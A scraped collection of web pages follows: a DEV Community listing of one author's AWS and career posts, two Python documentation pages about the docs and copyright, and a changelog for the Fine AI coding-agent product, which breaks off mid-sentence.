glad, glad, glad 😓😤🥳! Davide de Paolis Davide de Paolis Davide de Paolis Follow Dec 31 '23 my 2023 in review: sad, mad, sad, glad, glad, glad 😓😤🥳! # career # mentalhealth # mindfulness # personalgrowth 4 reactions Comments 2 comments 8 min read I have read it so you don't have to - Rich Dad, Poor Dad, by R.T. Kiyosaki Davide de Paolis Davide de Paolis Davide de Paolis Follow Dec 29 '23 I have read it so you don't have to - Rich Dad, Poor Dad, by R.T. Kiyosaki # personalgrowth # hustle # career # books 6 reactions Comments Add Comment 6 min read Bragging like a STAR ⭐️! Boost your confidence and be more convincing during salary negotiations and job interviews. Davide de Paolis Davide de Paolis Davide de Paolis Follow Nov 23 '23 Bragging like a STAR ⭐️! Boost your confidence and be more convincing during salary negotiations and job interviews. # career # learning # mentalhealth # motivation 6 reactions Comments 3 comments 10 min read playing around with PartyRock! a new Bedrock playground Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Nov 17 '23 playing around with PartyRock! a new Bedrock playground # partyrockplayground # aws # generativeai 2 reactions Comments Add Comment 2 min read I spoke at AWS Community Day in Munich: how I prepared and how it went. Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Sep 19 '23 I spoke at AWS Community Day in Munich: how I prepared and how it went. # career # publicspeaking # aws # community 47 reactions Comments 14 comments 11 min read There is no right or wrong, as long as it works - Actually, how you use DynamoDB makes a lot of difference! Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders May 31 '23 There is no right or wrong, as long as it works - Actually, how you use DynamoDB makes a lot of difference! # serverless # dynamodb # bestpractices # techlead 12 reactions Comments 1 comment 14 min read Be the rising tide - grow as a leader or engineer by helping others Davide de Paolis Davide de Paolis Davide de Paolis Follow Apr 28 '23 Be the rising tide - grow as a leader or engineer by helping others # leadership # careeradvice # softwareengineering # learning 7 reactions Comments Add Comment 4 min read Understanding the desiredCount and autoscaling behaviour of AWS Fargate - Fuckups 🤦♂️ and learnings 🤓 Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Apr 27 '23 Understanding the desiredCount and autoscaling behaviour of AWS Fargate - Fuckups 🤦♂️ and learnings 🤓 # techlead # serverless # aws # mentalhealth 27 reactions Comments 3 comments 6 min read Fixing Error spawnSync bash ENOENT occurring during CDK Lambda Bundling on CI pipeline Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Apr 14 '23 Fixing Error spawnSync bash ENOENT occurring during CDK Lambda Bundling on CI pipeline # debugging # continuosintegration # node # lambda 8 reactions Comments 2 comments 3 min read Software Engineering is about trade-offs: make sure you have options! (architecture patterns comparison) Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Mar 20 '23 Software Engineering is about trade-offs: make sure you have options! (architecture patterns comparison) # aws # career # techlead # serverless 72 reactions Comments 2 comments 8 min read My first 6 months as AWS Community Builder: boosting my career and fighting Imposter Syndrome! Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Mar 3 '23 My first 6 months as AWS Community Builder: boosting my career and fighting Imposter Syndrome! # career # techlead # community # knowledgesharing 20 reactions Comments 1 comment 8 min read How to Filter Unique values in CloudWatch Insights (+ 3 other query snippets) Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Mar 1 '23 How to Filter Unique values in CloudWatch Insights (+ 3 other query snippets) # debugging # aws # techlead # beginners 20 reactions Comments Add Comment 3 min read Working on legacy code-bases can make us better developers, here is why. Davide de Paolis Davide de Paolis Davide de Paolis Follow Feb 15 '23 Working on legacy code-bases can make us better developers, here is why. # mentalhealth # softwaredevelopment # technicalleadership # career 8 reactions Comments 1 comment 6 min read Disaster Recovery Cheat-sheet/Write-up Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Feb 10 '23 Disaster Recovery Cheat-sheet/Write-up # aws # analytics # techlead # solutionsarchitect 4 reactions Comments Add Comment 4 min read AWS Security in the Cloud Cheat-sheet/Write-up Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Feb 6 '23 AWS Security in the Cloud Cheat-sheet/Write-up # aws # analytics # techlead # solutionsarchitect 4 reactions Comments Add Comment 8 min read AWS Mobile and Web apps Cheat-sheet/Write-up Davide de Paolis Davide de Paolis Davide de Paolis Follow Feb 5 '23 AWS Mobile and Web apps Cheat-sheet/Write-up # aws # analytics # techlead # solutionsarchitect Comments Add Comment 2 min read AWS AI and ML stack Cheat-sheet/Write-up Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Feb 4 '23 AWS AI and ML stack Cheat-sheet/Write-up # aws # analytics # techlead # solutionsarchitect 7 reactions Comments Add Comment 3 min read AWS Costs and Budgets Cheat-sheet/Write-up Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Feb 3 '23 AWS Costs and Budgets Cheat-sheet/Write-up # aws # analytics # techlead # solutionsarchitectuting 4 reactions Comments Add Comment 4 min read AWS Digest nr 8 Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Feb 2 '23 AWS Digest nr 8 # aws # techlead # serverless # softwaredevelopment 3 reactions Comments Add Comment 2 min read AWS Logging, Monitoring and Auditing Cheat-sheet/Write-up Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Feb 1 '23 AWS Logging, Monitoring and Auditing Cheat-sheet/Write-up # aws # analytics # techlead # solutionsarchitect 5 reactions Comments 1 comment 7 min read AWS Serverless Cheat-sheet/Write-up Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Jan 25 '23 AWS Serverless Cheat-sheet/Write-up # aws # analytics # techlead # solutionsarchitect 7 reactions Comments Add Comment 12 min read AWS Datastores and Analytics Cheat-sheet/Write-up Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Jan 23 '23 AWS Datastores and Analytics Cheat-sheet/Write-up # aws # analytics # techlead # solutionsarchitect 4 reactions Comments Add Comment 8 min read AWS Databases Cheat-sheet/Write-up Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Jan 20 '23 AWS Databases Cheat-sheet/Write-up # aws # database # techlead # solutionsarchitect 8 reactions Comments Add Comment 11 min read Get your self-esteem crushed with AWS Certifications and Badges! Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Jan 18 '23 Get your self-esteem crushed with AWS Certifications and Badges! # aws # techlead # serverless # personalgrowth 10 reactions Comments Add Comment 5 min read Send slack notifications with AWS Chatbot Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Jan 13 '23 Send slack notifications with AWS Chatbot # aws # serverless # techlead # monitoring 10 reactions Comments 2 comments 6 min read 2023 - This year go for Smart Goals and Habits Davide de Paolis Davide de Paolis Davide de Paolis Follow Jan 9 '23 2023 - This year go for Smart Goals and Habits # mentalhealth # personalgrowth # career # productivity 8 reactions Comments Add Comment 8 min read my 2022 was not as bad as I thought after reading all other people's yearly retrospectives Davide de Paolis Davide de Paolis Davide de Paolis Follow Jan 8 '23 my 2022 was not as bad as I thought after reading all other people's yearly retrospectives # career # mentalhealth # agile # personaldevelopment 5 reactions Comments 6 comments 9 min read AWS Storage Cheat-sheet/Write-up Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Dec 13 '22 AWS Storage Cheat-sheet/Write-up # aws # storage # techlead # solutionsarchitect 11 reactions Comments Add Comment 17 min read AWS Virtual Private Cloud (VPC) Cheat-sheet/Write-up Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Dec 9 '22 AWS Virtual Private Cloud (VPC) Cheat-sheet/Write-up # aws # vpc # techlead # solutionsarchitect 9 reactions Comments Add Comment 11 min read AWS Organizations and Control Tower Cheat-sheet/Write-up Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Dec 7 '22 AWS Organizations and Control Tower Cheat-sheet/Write-up # aws # cloudcompute # techlead # solutionsarchitect 8 reactions Comments Add Comment 4 min read AWS Elastic Load Balancing and Autoscaling Cheat-sheet/Write-up Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Nov 29 '22 AWS Elastic Load Balancing and Autoscaling Cheat-sheet/Write-up # aws # cloudcompute # techlead # solutionsarchitect 6 reactions Comments Add Comment 10 min read Reflecting on my Path: What becoming a Toastmaster meant for me Davide de Paolis Davide de Paolis Davide de Paolis Follow Nov 28 '22 Reflecting on my Path: What becoming a Toastmaster meant for me # toastmasters # publicspeaking # personalgrowth # learning 8 reactions Comments 2 comments 6 min read AWS Digest nr 7 Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Nov 25 '22 AWS Digest nr 7 # aws # techlead # serverless # softwaredevelopment 5 reactions Comments Add Comment 2 min read Enable AWS CLI Completer for increased productivity Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Nov 21 '22 Enable AWS CLI Completer for increased productivity # aws # awscommunitybuilder # productivity # tips 19 reactions Comments 6 comments 2 min read Serverless Summit Day One Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Nov 17 '22 Serverless Summit Day One # techlead # aws # serverless # solutionsarchitect 8 reactions Comments 2 comments 2 min read Clever coding tricks ( that we don't need ) Davide de Paolis Davide de Paolis Davide de Paolis Follow Nov 16 '22 Clever coding tricks ( that we don't need ) # rant # techlead # javascript # refactoring 27 reactions Comments 7 comments 2 min read Drop those credentials, use Single-Sign-On Login instead Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Nov 16 '22 Drop those credentials, use Single-Sign-On Login instead # aws # serverless # security # accessmanagement 23 reactions Comments 4 comments 8 min read AWS Digest nr 6 Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Nov 14 '22 AWS Digest nr 6 # aws # techlead # serverless # softwaredevelopment 3 reactions Comments Add Comment 3 min read Focus on the positive, pt2 - How do you stay positive, when you lose? Davide de Paolis Davide de Paolis Davide de Paolis Follow Nov 13 '22 Focus on the positive, pt2 - How do you stay positive, when you lose? # publicspeaking # mentalhealth # motivation # writing 6 reactions Comments 1 comment 3 min read Focus on the positive! - No! the world needs more pessimists! Davide de Paolis Davide de Paolis Davide de Paolis Follow Nov 12 '22 Focus on the positive! - No! the world needs more pessimists! # publicspeaking # mentalhealth # funny # writing 4 reactions Comments 3 comments 4 min read From PHP monolith to serverless: multi-stack cross-account canary rollout Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Nov 1 '22 From PHP monolith to serverless: multi-stack cross-account canary rollout # techlead # aws # serverless # refactoring 10 reactions Comments 2 comments 8 min read AWS Digest nr 5 Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Nov 1 '22 AWS Digest nr 5 # aws # techlead # serverless # softwaredevelopment Comments Add Comment 4 min read AWS Digest nr 4 Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Oct 31 '22 AWS Digest nr 4 # aws # techlead # serverless # softwaredevelopment 3 reactions Comments Add Comment 2 min read How to create diagrams of your Architecture Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Oct 24 '22 How to create diagrams of your Architecture # aws # techlead # solutionsarchitect # tools 40 reactions Comments 2 comments 3 min read AWS Digest nr 3 Davide de Paolis Davide de Paolis Davide de Paolis Follow for AWS Community Builders Oct 19 '22 AWS Digest nr 3 # aws # techlead # serverless # softwaredevelopment 1 reaction Comments Add Comment 3 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://docs.python.org/3/about.html | About this documentation — Python 3.14.2 documentation Theme Auto Light Dark Table of Contents About this documentation Contributors to the Python documentation Previous topic Glossary Next topic Dealing with Bugs This page Report a bug Show source Navigation index modules | next | previous | Python » 3.14.2 Documentation » About this documentation | Theme Auto Light Dark | About this documentation ¶ Python’s documentation is generated from reStructuredText sources using Sphinx , a documentation generator originally created for Python and now maintained as an independent project. Development of the documentation and its toolchain is an entirely volunteer effort, just like Python itself. If you want to contribute, please take a look at the Dealing with Bugs page for information on how to do so. New volunteers are always welcome! Many thanks go to: Fred L. Drake, Jr., the creator of the original Python documentation toolset and author of much of the content; the Docutils project for creating reStructuredText and the Docutils suite; Fredrik Lundh for his Alternative Python Reference project from which Sphinx got many good ideas. Contributors to the Python documentation ¶ Many people have contributed to the Python language, the Python standard library, and the Python documentation. See Misc/ACKS in the Python source distribution for a partial list of contributors. It is only with the input and contributions of the Python community that Python has such wonderful documentation – Thank You! Table of Contents About this documentation Contributors to the Python documentation Previous topic Glossary Next topic Dealing with Bugs This page Report a bug Show source « Navigation index modules | next | previous | Python » 3.14.2 Documentation » About this documentation | Theme Auto Light Dark | © Copyright 2001 Python Software Foundation. This page is licensed under the Python Software Foundation License Version 2. Examples, recipes, and other code in the documentation are additionally licensed under the Zero Clause BSD License. See History and License for more information. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Jan 13, 2026 (06:19 UTC). Found a bug ? Created using Sphinx 8.2.3. | 2026-01-13T08:48:56 |
https://docs.python.org/3/copyright.html | Copyright — Python 3.14.2 documentation Theme Auto Light Dark Previous topic Dealing with Bugs Next topic History and License This page Report a bug Show source Navigation index modules | next | previous | Python » 3.14.2 Documentation » Copyright | Theme Auto Light Dark | Copyright ¶ Python and this documentation is: Copyright © 2001 Python Software Foundation. All rights reserved. Copyright © 2000 BeOpen.com. All rights reserved. Copyright © 1995-2000 Corporation for National Research Initiatives. All rights reserved. Copyright © 1991-1995 Stichting Mathematisch Centrum. All rights reserved. See History and License for complete license and permissions information. Previous topic Dealing with Bugs Next topic History and License This page Report a bug Show source « Navigation index modules | next | previous | Python » 3.14.2 Documentation » Copyright | Theme Auto Light Dark | © Copyright 2001 Python Software Foundation. This page is licensed under the Python Software Foundation License Version 2. Examples, recipes, and other code in the documentation are additionally licensed under the Zero Clause BSD License. See History and License for more information. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Jan 13, 2026 (06:19 UTC). Found a bug ? Created using Sphinx 8.2.3. | 2026-01-13T08:48:56 |
https://www.fine.dev/changelog#0 | Changelog - Fine AI Home Docs Changelog Pricing Sign in Get started -> Menu Home Docs Changelog Pricing Changelog New updates and improvements to Fine. Feb 26, 2025 #21: Publish with your domain; upload photos to prompts and Claude 3.7 Sonnet One-Click Deployment in Fine All users can now click “deploy” to take your Fine-generated project live to the web on a free subdomain. Paid users can deploy to your own domain inside Fine - there’s no longer the need to connect to Netlify/Vercel. Image-based prompts We’ve released image based prompting, so you can add screenshots and inspiration to your prompts for the agents to look at. Screenshot components, content and buttons in the Live Preview to tell the Agent what to change Upload design inspiration such as colours, fonts and images Screenshot UI errors for quick fixes Claude 3.7 Sonnet Support Anthropic released Claude 3.7 Sonnet, the first hybrid LLM + reasoning model. We’ve upgraded Fine to use the new model by default. As before, free users get 7 messages per day. The new model self-reflects before answering, so although response times may be a tad longer, they should be much more reliable. The new model brings significant improvements in handling complex codebases and planning changes, especially with complex agent workflows. Feb 14, 2025 #20: Branch Selector, Better New App Builds, Improved AI Error Handling Branch Selector When working on an existing codebase (connected via GitHub), you can now select the branch Fine begins working on. The branch selector appears after selecting a project. This is useful in three ways: It enables you to pick up work from your IDE and continue expanding on it with Fine. If you usually build and push to another branch - such as “dev” instead of main - you can easily do so with Fine. When working on larger tasks with the Agent, such as new features, that require lots of back and forth, you can start new conversations, using the branch created in the previous conversation as your starting point. This allows you to keep working on the code already written, without overloading the context window. Improved App Builds & Speed, More Speed We’ve improved the way Fine processes your requests and designs new apps. Now, when you start a new project, Fine will turn your prompt into a plan with Design, Layout, Features and Styling considerations, before it starts building. We’ve also made significant improvements to the speed of new app-builds. It’s now 6.5X faster on average to get from prompt to prototype. Improved AI Error Handling We’ve improved the way the Agent handles errors in a number of areas: The agent can now identify and offer to fix Runtime and Build errors, as well as Terminal errors. The Error Overlay is now displayed in the Live Preview, allowing users who prefer the visual experience to easily ask the agent to fix errors as they arise. Feb 2, 2025 Introducing o3-mini: The New Default LLM for Fine We’re excited to announce a major update for Fine: starting today, o3-mini is now the default Large Language Model (LLM) for all tasks across the platform. This means that when you interact with Fine, you’ll automatically benefit from the power and versatility of o3-mini – and the best part is, it’s available for all free Fine users! Meanwhile, gpt-4o has transitioned to a paid option. What’s New? o3-mini: Optimized for STEM Reasoning OpenAI’s o3-mini is the latest addition to their reasoning model series. Built to excel in tasks that demand advanced reasoning, particularly in science, technology, engineering, and mathematics (STEM) domains, o3-mini is designed to deliver enhanced performance with: Improved Accuracy: Outperforms its predecessors in producing accurate and clear answers. Faster Response Times: Offers lower latency for tasks like coding and troubleshooting. Enhanced STEM Capabilities: Matches the performance of prior models in math, coding, and science tasks, making it ideal for technically demanding projects. Improved Context Window o3-mini boasts a 200,000 token context window and 100,000 token maximum output. What does that mean in practical terms? 1 token ≈ 4 characters in code 1 token ≈ 0.5 words in code (since variable names, punctuation, and syntax are tokenized separately) 1 line of code ≈ 5–20 tokens, depending on complexity Therefore (this is all approximate) 200,000 tokens × 4 characters/token = 800,000 characters 200,000 tokens × 0.5 words/token = 100,000 words 200,000 tokens ÷ 10 tokens per line (avg.) = 20,000 lines of code Whilst this is incredible news - even on our free plan, you'll be able to work with very large codebases - the context window also your prompt, the system prompt and previous messages in a given conversation. Therefore, we recommend breaking tasks down to ensure the AI maintains accuracy. If you've had a few succesful steps and want to continue iterating, consider committing and starting a new conversation. Developer-Friendly Features o3-mini is not just powerful—it’s smartly designed for developers. Key improvements include: Function Calling and Structured Outputs: Supports advanced function calling, allowing for seamless integration into coding workflows. Reasoning Modes: Choose between three reasoning effort options (low, medium, and high) to tailor performance to your specific use case. Consistent Code Assistance: Developers have reported that o3-mini provides working code reliably, even when handling complex tasks. Jan 18, 2025 #18: Run and Fix Faster Fix Errors with One Click We’ve launched Fix it with Fine inside the Console. If something in the code causes the app to crash, the Agent will identify the error in the logs and offer to fix it. Click “Fix it with Fine” and the Agent dives in - you no longer need to copy the error logs into the chat manually. Auto Run + Fix it with Fine = An easier last mile for you Developers still need to be involved in the last-mile of implementing code written by AI - but we’re making it smoother and faster, with the AI Agent doing more for you. Jan 9, 2025 #17: Image prompts, actions pane & mobile improvements Devs can now upload photos to Fine as part of prompts. Conversations with the agent now include Line Changes Summary. Look out for the familiar green + and red -, indicating how many lines have been added or deleted, next to each step in the Agents’ implementation plans. This can help keep track, making sure the exact changes the Dev wanted were made and only those changes. We’ve added an actions pane to give Devs quick access to useful tools. Look out for the lightning bolt icon at the top of the AI workspace. We’ve fixed an issue with scrolling in conversations on mobile. Jan 4, 2025 #16: New Projects, Templates and Stream Experience Fine now includes pre-built templates the AI can call on for starting new projects from scratch. These templates are designed for those hoping to start with Fine on brand new software, without an existing codebase, and for those who are beginning a totally new part of their project - such as building a frontend to go with your existing backend. We’ve updated the initial implementation flow for new tasks without a selected project to automatically begin a new project, call on the relevant template and immediately implement your requests. You can now add scripts to New Projects created in Fine, in order to Run them. Fixed a bug in context fetching for new projects, ensuring the AI doesn’t try to fetch context from existing projects. The stream experience has been updated to show you where the Agent is up to in editing the files. When pasting multiple variables in the Environment Variables area of Project Settings, Fine identifies and splits them, propagating them in rows. You’re now able to upload a .env file to your projects in Fine. Dec 29, 2024 #15: Project Instructions By popular request, we’ve added the ability to define your own set of custom instructions or rules for the AI Agent. Head to Projects > Project Settings > Instructions. You can use Project Instructions to set coding style preferences and conventions, include external documentation and style guides. Instructions will be used by the Agent for every task on the Project, from all users in the workspace. You can apply different instructions to different projects and if you have shared instructions that you would like to apply to multiple projects, make sure to copy them into each one. Dec 25, 2024 #14: AI Sandboxing & Live previews: The Fastest Way to Iterate with AI Launched AI Sandboxing Pro subscribers can now Run the code generated by Fine, enabling you to test and preview the code, all within the browser. No more “it works on my machine”, no more AI code that looks like it works, but doesn’t. Try it out - when Fine completes a coding task, hit “Run” in the top right corner of the page to test your code. For each project, you'll need to add configuration settings the first time you use the AI Sandbox. Fine will run the code in the cloud dev environment dedicated to the conversation - yes, if you have multiple conversations with Fine working at the same time, they can each run in their own virtual machine. You can continue the conversation with the AI to make further revisions to the code, based on what you’ve seen in the preview. Describe the issue or change in the conversation box and click enter. Currently, the logs you see in the console are not included in Fine’s context - that is to say, the AI won’t know what has or hasn’t worked unless you tell it. However, you can copy and paste the logs into the conversation to guide the AI further. (We soon will be releasing another update, in which it will happen automatically in case of an error). Launched Live Previews When Fine finishes running the code in the Sandbox, you can see what it looks like - both for frontend and backend code. At the top of the AI Workspace, next to the "Console" Tab, click "Preview". You can also click the Open in New Tab icon to see the Live Preview as a full window. Copy and paste the preview URL to get feedback from colleagues or test with tools like Postman. Access Live Previews from Linear, Slack and GitHub Issues If you’re using Fine in Linear, Slack or GitHub Issues, clicking “Track Progress” in Fine’s reply will take you to the web interface, where you can use the AI Sandboxing and Live Preview features. Why this is important for developers Imagine a world in which AI not only takes your specs and writes the code, but can run and test the code, compare it to the specs and fix itself. Where AI not only writes code that looks right and makes sense to the LLM’s logic, but verifies that it actually works - and meets the exact requirements you defined. AI Sandboxing is not just another Cloud Dev Environment - it's the next step in achieving this. With the help of your feedback on the current version of Live Previews, we’ll soon be setting our sights on releasing a complete self-assessing, self-improving AI coding agent - the first ever. Dec 18, 2024 #13: Infrastructure Upgrades & Groundwork for New Releases To support new features coming up in the roadmap, we’ve been working on significant infrastructure upgrades and optimizing them to make your AI coding experience faster and more reliable. Sped up devcontainer (DC) startup time to 10 seconds Introduced prebuilds - ready-to-use devcontainers with your repository and tools - to enable faster AI Sandboxing Rewrote DC-server to contribute to speed and stability Deprecate DC (socket) proxy Improved error handling / alerting for DC service, in cases where devcontainer provisioning fails Over the last few weeks, many of our Pro users have accessed the alpha version of our AI Sandboxing and Live Previews features, helping us with feedback and identifying room for improvement. With these new speed and stability improvements, the full version of AI Sandboxing and Live Previews is set to be released soon to all Pro subscribers. Nov 13, 2024 #12: Faster Implementation Fine now provisions a virtual dev environment as soon as you start a conversation, instead waiting for you to give an implementation task - so it’s quicker for the AI to get started on coding. Look for the green 🟢 icon at the top right of the screen that indicates the dev environment is live. Nov 4, 2024 #11: Rollback, Edit & New Projects Edit the AI code in Fine When Fine has finished an implementation task, before creating the PR, you can edit the files in the code pane that appears on the right hand side. Remember to click Save, which will appear once you start making manual edits. This is great for minor fixes and adjustments, saving you the hassle of checking out the branch to your IDE when the AI has written almost exactly what you wanted. It’s also useful if you get tasks done on the go. Waiting for a bus or have a few minutes in between meetings? Take an outstanding issue, give it to Fine, make any small changes you need and click Create PR - all from your mobile browser. Rollback Changes in Fine If you’re having a back-and-forth conversation with the AI, giving instructions, reviewing the results and giving more instructions, sometimes it’s useful to be able to go back a couple of steps. Perhaps you’ve realised that something wasn’t quite necessary or the latest version of the changes wasn’t exactly what you were looking for. It happens to all of us. Now, when you give further implementation instructions to the Fine AI Agent, the option to rollback appears on the earlier messages. Clicking Rollback will undo all changes since the implementation task you’ve chosen to revert to - both those made by the AI and manual edits. Start New Projects within Fine You can now start a new project in Fine, without needing an existing repository in GitHub - or even connecting your account. To create a new project, head to Projects > Create Project and choose a name. If you’ve connected GitHub, this will create a new repository under the name you’ve chosen. Alternatively, just start typing your task in Fine’s web interface and if you haven’t chosen a Project to work on, Fine will create a new one. Oct 9, 2024 #10: Revise PRs in GitHub & a smoother way to delegate tasks. Smoother delegation of tasks We’ve improved and standardized the way you interact with Fine from your Issue Management platform, to make it easier to delegate tasks. In Linear and GitHub Issues , delegate an issue to Fine by adding the “Fine” label or replying /code and you’ll get a notification once Fine has finished and created a PR. If you’ve got a backlog of issues and requests, this is a great way to get ahead of lots of the small tasks that make a difference to your users. Alternatively, you can comment /guideme and Fine will reply with context and advice on how to approach the task. In particular for bigger tasks, this can help you break it down into steps and help you take on the project strategically. Lastly, you can comment /ask followed by your question, and Fine will read the comment, search the codebase and its knowledge for information, and provide an answer. No more disturbing the developer sitting opposite you with little questions that break their concentration. When calling Fine into a ticket, you no longer need to specify which repository you’d like it to work on - Fine understands on its own. All these features work both in GitHub Issues and in Linear . For all those who don’t use either, we’re surveying which platform you use for Issue Management to help us decide what to integrate next. Click here to vote, it takes just 30 seconds . Refined GitHub PR features In GitHub PR, we’ve improved the performance of the /revise and /summary features - they’re now faster and more accurate. When reviewing a PR, if you need to make a change, comment /revise followed by the change you’d like to make and Fine will do it for you. This saves you pulling the code to your machine to make the edits. Similarly, if you’ve been handed a PR to review, commenting /summary will give you a breakdown of the PR to help you get started. Knowledge and Code Panes We’ve added two new collapsable panes to the Fine web interface. Knowledge allows you to view the sources in your codebase from where Fine drew information and Code allows you to view the changes Fine suggests in implementation tasks. Sep 29, 2024 #9: OpenAI o1, New Agent Interface, Improving Speed Integrated o1 & improved model selection OpenAI announced their new model nearly two weeks ago, promising faster, better coding. We straight away made sure to integrate with Fine, along with the previous OpenAI models and Claude 3.5 Sonnet. The results are fantastic and as before - you don't need your own API keys. We've also improved the way you select which model to use, so that you can pick the right model for each task. New Agent Interface The previously separate “Ask” and “Implement” features are now smarter and work together from a unified interface. Fine can now distinguish whether you’re asking a question or assigning a task and responds with the appropriate workflow. There's no longer a need to use slash commands, just talk to the agent naturally. We’ve implemented a new backend algorithm that delivers responses more than 10 times faster without compromising quality. The UI has also been updated so you can see live changes to the codebase as the AI writes them. Launched Affiliates Program We launched our brand new affiliate program allowing super-fans and content creators with strong audiences of developers to earn money by promoting Fine. More details can be found here and you can sign up here . Improved Mobile Experience We’ve been tweaking and improving our mobile experience to ensure you can get tasks done with the help of AI on the go. Sep 10, 2024 #8: Ask, Slack Integration and Workflows Launched Workflows Workflows is how you can automate AI agents to perform tasks at a set frequency or following a trigger. Think automatic debugging, documentation, changelog, PR review and more. Launched Ask Easily ask Fine any question about your codebase - including your integrated platforms - from the home panel. Find valuable information and key context to make your work easier and more efficient. Integrated Slack You can now integrate Slack with Fine and get notifications with agent outputs as part of workflows. Apr 7, 2024 #7: Claude Support; Faster Responses Fine now supports Claude Opus LLM model. Pro users can configure their agents to use Claude as their backend LLM model. Although slower than the default model, GPT-4 Turbo, Claude Opus has shown to be more accurate. AI Chat has gone through a major speed optimization, now responding 2x faster than before. Mar 21, 2024 #6: Fine x GitHub | Chat streaming Assign GitHub Issues to Fine AI Agents You can now initiate Fine AI agents to work on GitHub issues directly from GitHub. Try it out by commenting on the issue with /code command. Fine will create a new branch, assign the issue to the AI agent, and create a pull request with the AI agent's changes. Imporvements Chat now supports streaming AI responses. Prompt bar now supports multiple lines and rich text formatting (markdown). Revamped the AI prompt bar design. A few bugs were fixed in the "Issue-to-Pull Request" feature. Mar 14, 2024 #5: Fine x Linear Turn Linear Issues into Pull Requests You can now assign Linear Issues directly to Fine AI agents. To get started, go to Workspace Settings > Integrations and enable the Linear integration. /code To delegate an issue to an AI agent, comment on the issue with /code --repo=owner/repo-name . Fine will create a new branch, assign the issue to the AI agent, and create a pull request with the AI agent's changes. /guideme Leave a comment with /guideme --reop=owner/repo-name to get a step-by-step guide on how to solve the issue. Mar 7, 2024 #4: AI Palette Ask around your code We redesigned AI experience from the ground up, and AI Palette now takes center stage. The AI Palette lets you chat about around your codebase, and initiate AI Agents to perform repository-wide tasks. Slash commands You can interact with AI Palette using slash commands. /ask: Lets you talk with an AI that understands your codebase. /code: Initiates an AI agent to perform a repository-wide task. Jan 21, 2024 Interactive Previews: Holistic Solution for Full Stack Devs When it comes to visual systems, feedback can also be given while looking at the same monitor, and not at the code. To mimic this live and dynamic interaction between human developers within the Fine system, we are proud to introduce ‘Interactive Preview'. Today, we are excited to announce the release of Fine’s latest version, carefully crafted with the needs of full stack developers at the forefront. The brand-new version gives users an intuitive environment for software development powered by AI agents. The undeniable highlight being the 'Interactive Preview' feature that fundamentally transforms code development by closing the loop and offering a real-time feedback mechanism for developers. Feedback is an essential element of software development. This is true for human developers as it is for our AI agents. The more detailed and timely feedback an AI agent can access, the better it becomes at understanding tasks, refining responses, and improving overall function. Often while working in a team, a developer states their opinion about the piece of code or design another team member created. When it comes to visual systems, feedback can also be given while looking at the same monitor, and not at the code. To mimic this live and dynamic interaction between human developers within the Fine system, we are proud to introduce ‘Interactive Preview'. Interactive Preview puts our users in direct control, just like a movie director guiding their actors. Developers can run their code, see the results in real time, and provide feedback directly to the AI agents. It gives developers the option to guide their AI agents as they would guide a team member, helping them understand what works, what doesn’t, and where there's room for improvement. Essentially, forming a closed cycle of task assignment, execution, feedback, and improvement. Just as real-life feedback sessions bring about clarity, refinement, and consistent improvement, Interactive Preview ensures our AI agents continue advancing in their capabilities. It's a quintessential feature that makes Fine more than a tool - it's a dynamic, adaptive, and collaborative solution, fulfilling the vision of a truly integrated human-AI software development environment. Tailored For Full Stack Developers At Fine we are constantly thinking about the end goal: building the virtual developer. Our ‘Interactive Preview' is a testament to our commitment to continuous innovation and giving our users the best possible experience. By offering developers the ability to run their codes and provide live feedback to their AI agents, we're facilitating a more sophisticated, seamless, and interactive programming environment. Full stack developers, who handle both front-end and back-end processes, require a solution that makes the entire software engineering process more efficient. Now, the AI agents don’t just understand the development context from the provided codebase and documentation, but also take into account the live feedback, becoming even smarter and more efficient. Think of it as an always available, always eager-to-learn colleague. No matter how many times you run your code, or how many comments you share, the AI agents learn from your feedback, adapting and evolving to better serve you. The more you interact, the more they understand your unique style, your project's specific needs, and the more accurate their solutions become. Oct 5, 2023 Introducing new features, new interface, bug fixes and backend upgrades, along with recent content and upcoming events. Today we are releasing a new version of Fine. In this update we solved many of the issues that users faced in the previous days. If you had trouble setting up a project or running an agent recently, this version might have solved it, so give it a go. We’ve got a new batch of product updates, playbooks, and 